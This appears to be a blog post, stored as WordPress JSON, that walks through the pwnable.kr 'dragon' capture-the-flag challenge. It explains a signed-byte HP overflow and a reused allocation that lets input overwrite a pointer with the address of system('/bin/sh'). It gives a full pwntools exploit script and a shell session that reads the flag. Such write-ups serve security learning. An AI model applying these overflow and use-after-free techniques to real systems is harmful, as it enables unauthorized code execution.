{"id":2164,"date":"2024-03-26T11:34:58","date_gmt":"2024-03-26T02:34:58","guid":{"rendered":"https:\/\/h4ck.kr\/?p=2164"},"modified":"2024-05-20T13:21:50","modified_gmt":"2024-05-20T04:21:50","slug":"dragon","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=2164","title":{"rendered":"dragon"},"content":{"rendered":"\n

Description<\/h2>\n\n\n\n

I made a RPG game for my little brother.
But to trick him, I made it impossible to win.
I hope he doesn’t get too angry with me :P!<\/p>\n\n\n\n

Author : rookiss
Download : http:\/\/pwnable.kr\/bin\/dragon<\/p>\n\n\n\n

Running at : nc pwnable.kr 9004<\/p>\n\n\n\n

checksec<\/h2>\n\n\n\n
\n
\n
seo@seo:~\/Documents\/pwnable.kr\/dragon$ checksec .\/dragon\n[*] '\/home\/seo\/Documents\/pwnable.kr\/dragon\/dragon'\n    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x8048000)<\/pre>\n<\/div>\n<\/div>\n\n\n\n
Solution<\/h2>\n\n\n\n
Baby dragon<\/h3>\n\n\n\n
\n
\n
Baby Dragon Has Appeared!\n[ Baby Dragon ] 50 HP \/ 30 Damage \/ +5 Life Regeneration.<\/pre>\n<\/div>\n<\/div>\n\n\n\n
\uc801\uc778 \uc544\uae30 \ub4dc\ub798\uace4\uc740 \uccb4\ub825 50\uc744 \uac00\uc9c0\uace0 \uc788\uace0, 1\ud134\ub9c8\ub2e4 \ud50c\ub808\uc774\uc5b4\uc5d0\uac8c 30\ub370\ubbf8\uc9c0\ub97c \uc8fc\uace0, 5\uc529 \uccb4\ub825\uc744 \ud68c\ubcf5\ud55c\ub2e4.<\/p>\n\n\n\n
Mama dragon<\/h3>\n\n\n\n
\n
\n
[ Mama Dragon ] 80 HP \/ 10 Damage \/ +4 Life Regeneration.<\/pre>\n<\/div>\n<\/div>\n\n\n\n
\uc801\uc778 \uc5b4\ubbf8 \ub4dc\ub798\uace4\uc740 \uccb4\ub825 80\uc744 \uac00\uc9c0\uace0 \uc788\uace0, 1\ud134\ub9c8\ub2e4 \ud50c\ub808\uc774\uc5b4\uc5d0\uac8c 10\ub370\ubbf8\uc9c0\ub97c \uc8fc\uace0, 4\uc529 \uccb4\ub825\uc744 \ud68c\ubcf5\ud55c\ub2e4.<\/p>\n\n\n\n
Priest<\/h3>\n\n\n\n
\n
\n
[ Priest ] 42 HP \/ 50 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.<\/pre>\n<\/div>\n<\/div>\n\n\n\n
\ud50c\ub808\uc774\uc5b4\uc778 \uc131\uc9c1\uc790\ub294 \uccb4\ub825 42, \ub9c8\ub098 \ud3ec\uc778\ud2b8 50\uc744 \uac00\uc9c0\uace0 \uc788\ub2e4.<\/p>\n\n\n\n
\uc2a4\ud0ac\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.
[1] Holy Bolt [10MP \uc18c\ubaa8]
\uc801\uc5d0\uac8c \ub370\ubbf8\uc9c0 20 \uc8fc\uae30
[2] Clarity [0MP \uc18c\ubaa8]
\ub9c8\ub098 \ud3ec\uc778\ud2b8 \uc6d0\ub798\ub300\ub85c \ud68c\ubcf5
[3] HolyShield [25MP \uc18c\ubaa8]
\uba54\uc774\ud50c\uc5d0\uc11c \ub2e4\ud06c\uc0ac\uc774\ud2b8 \uac19\uc740 \uc2a4\ud0ac\uc774\ub2e4. \uc801\uc73c\ub85c\ubd80\ud130 \ub370\ubbf8\uc9c0\ub97c \ud68c\ud53c\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n
Knight<\/h3>\n\n\n\n
\n
\n
[ Knight ] 50 HP \/ 0 Mana\n        [ 1 ] Crash\n                Deals 20 Damage.\n        [ 2 ] Frenzy\n                Deals 40 Damage, But You Lose 20 HP.<\/pre>\n<\/div>\n<\/div>\n\n\n\n
\ud50c\ub808\uc774\uc5b4\uc778 \uae30\uc0ac\ub294 \uccb4\ub825 50, \ub9c8\ub098 \ud3ec\uc778\ud2b8 0\uc744 \uac00\uc9c0\uace0 \uc788\ub2e4.<\/p>\n\n\n\n
\uc2a4\ud0ac\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.
[1] Crash
\uc801\uc5d0\uac8c \ub370\ubbf8\uc9c0 20 \uc8fc\uae30
[2] Frenzy
\uc801\uc5d0\uac8c \ub370\ubbf8\uc9c0 40\uc744 \uc8fc\uc9c0\ub9cc, \ud50c\ub808\uc774\uc5b4 \ub610\ud55c HP20\uc744 \uc783\ub294\ub2e4.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\uccb4\ub825\uacfc \uccb4\ub825 \ud68c\ubcf5\ub7c9\uc774 BYTE \ud0c0\uc785\uc73c\ub85c \ub418\uc5b4\uc788\uae30 \ub54c\ubb38\uc5d0 
-128 ~ 127 \ubc94\uc704\ub97c \uac00\uc9c0\uace0 \uc788\ub2e4.<\/p>\n\n\n\n
\ub530\ub77c\uc11c \ud50c\ub808\uc774\uc5b4\ub97c \uc131\uc9c1\uc790\uc778 Priest\ub85c \ud558\uace0, \uc801\uc774 \uc5b4\ubbf8 \ub4dc\ub798\uace4\uc778 Mama dragon\uc77c\ub54c,
HolyShield \uc2a4\ud0ac\uc744 \uc5f0\ub2ec\uc544 \uc0ac\uc6a9\ud558\uace0 Clarity \uc2a4\ud0ac\uc744 \uc0ac\uc6a9\ud558\ub294 \ud589\uc704\ub97c 4\ubc88 \ubc18\ubcf5\ud558\ub294\ub4f1 
\uc874\ubc84\ud558\ub2e4\ubcf4\uba74<\/p>\n\n\n\n
\uc5b4\ubbf8 \ub4dc\ub798\uace4\uc778 Mama dragon\uc774 128\uccb4\ub825\uc744 \ub118\uae30\uba74\uc11c \uc624\ubc84\ud50c\ub85c\uc6b0\uac00 \ubc1c\uc0dd\ud558\uc5ec
\uc74c\uc218\uac00 \ub418\uae30 \ub54c\ubb38\uc5d0, \uc774\uae38 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n
\n
\n
Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight\n1\nMama Dragon Has Appeared!\n[ Mama Dragon ] 80 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 42 HP \/ 50 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n3\nHolyShield! You Are Temporarily Invincible...\nBut The Dragon Heals 4 HP!\n[ Mama Dragon ] 84 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 42 HP \/ 25 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n3\nHolyShield! You Are Temporarily Invincible...\nBut The Dragon Heals 4 HP!\n[ Mama Dragon ] 88 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 42 HP \/ 0 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n2\nClarity! Your Mana Has Been Refreshed\nBut The Dragon Deals 10 Damage To You!\nAnd The Dragon Heals 4 HP!\n[ Mama Dragon ] 92 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 32 HP \/ 50 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n3\nHolyShield! You Are Temporarily Invincible...\nBut The Dragon Heals 4 HP!\n[ Mama Dragon ] 96 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 32 HP \/ 25 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n3\nHolyShield! You Are Temporarily Invincible...\nBut The Dragon Heals 4 HP!\n[ Mama Dragon ] 100 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 32 HP \/ 0 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n2\nClarity! Your Mana Has Been Refreshed\nBut The Dragon Deals 10 Damage To You!\nAnd The Dragon Heals 4 HP!\n[ Mama Dragon ] 104 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 22 HP \/ 50 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n3\nHolyShield! You Are Temporarily Invincible...\nBut The Dragon Heals 4 HP!\n[ Mama Dragon ] 108 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 22 HP \/ 25 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n3\nHolyShield! You Are Temporarily Invincible...\nBut The Dragon Heals 4 HP!\n[ Mama Dragon ] 112 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 22 HP \/ 0 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n2\nClarity! Your Mana Has Been Refreshed\nBut The Dragon Deals 10 Damage To You!\nAnd The Dragon Heals 4 HP!\n[ Mama Dragon ] 116 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 12 HP \/ 50 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n3\nHolyShield! You Are Temporarily Invincible...\nBut The Dragon Heals 4 HP!\n[ Mama Dragon ] 120 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 12 HP \/ 25 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n3\nHolyShield! You Are Temporarily Invincible...\nBut The Dragon Heals 4 HP!\n[ Mama Dragon ] 124 HP \/ 10 Damage \/ +4 Life Regeneration.\n[ Priest ] 12 HP \/ 0 MP\n        [ 1 ] Holy Bolt [ Cost : 10 MP ]\n                Deals 20 Damage.\n        [ 2 ] Clarity [ Cost : 0 MP ]\n                Refreshes All Mana.\n        [ 3 ] HolyShield [ Cost: 25 MP ]\n                You Become Temporarily Invincible.\n2\nClarity! Your Mana Has Been Refreshed\nBut The Dragon Deals 10 Damage To You!\nAnd The Dragon Heals 4 HP!\nWell Done Hero! You Killed The Dragon!\nThe World Will Remember You As:<\/pre>\n<\/div>\n<\/div>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\uac19\uc740 \uba54\ubaa8\ub9ac \ud06c\uae30\uc778 0x10\uc744 \ud560\ub2f9\ud558\uae30 \ub54c\ubb38\uc5d0,
scanf\uc5d0\uc11c \uc5ec\uae30\ub2e4\uac00 <\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
system(“\/bin\/sh”)\ub97c \ud638\ucd9c\ud558\ub294 \uc9c0\uc810\uc778 0x8048DBF \uac12\uc744 \uc785\ub825\ud558\uba74 \uc258\uc744 \ud68d\ub4dd\ud560 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n
solve.py<\/h2>\n\n\n\n
\n
\n
from pwn import *\n#context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\n\n#p = process(\".\/dragon\")\np = remote(\"pwnable.kr\", 9004)\ne = ELF('.\/dragon')\n\np.sendlineafter(\"[ 2 ] Knight\\n\", \"2\")\np.sendlineafter(\"Deals 40 Damage, But You Lose 20 HP.\\n\", \"2\")\n\np.sendlineafter(\"[ 2 ] Knight\\n\", \"1\")\n\nfor i in range(4):\n    p.sendlineafter(\"You Become Temporarily Invincible.\\n\", \"3\")\n    p.sendlineafter(\"You Become Temporarily Invincible.\\n\", \"3\")\n    p.sendlineafter(\"You Become Temporarily Invincible.\\n\", \"2\")\n\n# pause()\np.sendlineafter(\"The World Will Remember You As:\\n\", p32(0x8048DBF)) #system(\"\/bin\/sh\");\n\np.interactive()<\/pre>\n<\/div>\n<\/div>\n\n\n\n
Result<\/h2>\n\n\n\n
\n
\n
seo@seo:~\/Documents\/pwnable.kr\/dragon$ python3 solve.py\n[+] Opening connection to pwnable.kr on port 9004: Done\n[*] Switching to interactive mode\nAnd The Dragon You Have Defeated Was Called:\n$ ls\ndragon\nflag\nlog\nsuper.pl\n$ cat flag\nMaMa, Gandhi was right! :)\n$\n[*] Interrupted\n[*] Closed connection to pwnable.kr port 9004<\/pre>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"
Description I made a RPG game for my little brother.But to trick him, I made it impossible to win.I hope he doesn’t get too angry with me :P! Author : rookissDownload : http:\/\/pwnable.kr\/bin\/dragon Running at : nc pwnable.kr 9004 checksec Solution Baby dragon \uc801\uc778 \uc544\uae30 \ub4dc\ub798\uace4\uc740 \uccb4\ub825 50\uc744 \uac00\uc9c0\uace0 \uc788\uace0, 1\ud134\ub9c8\ub2e4 \ud50c\ub808\uc774\uc5b4\uc5d0\uac8c 30\ub370\ubbf8\uc9c0\ub97c \uc8fc\uace0, 5\uc529… \ub354 \ubcf4\uae30 »dragon<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","footnotes":""},"categories":[4],"tags":[25],"class_list":["post-2164","post","type-post","status-publish","format-standard","hentry","category-pwnable-kr","tag-pwnable"],"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/2164","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2164"}],"version-history":[{"count":8,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/2164\/revisions"}],"predecessor-version":[{"id":2180,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/2164\/revisions\/2180"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2164"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2164"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2164"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}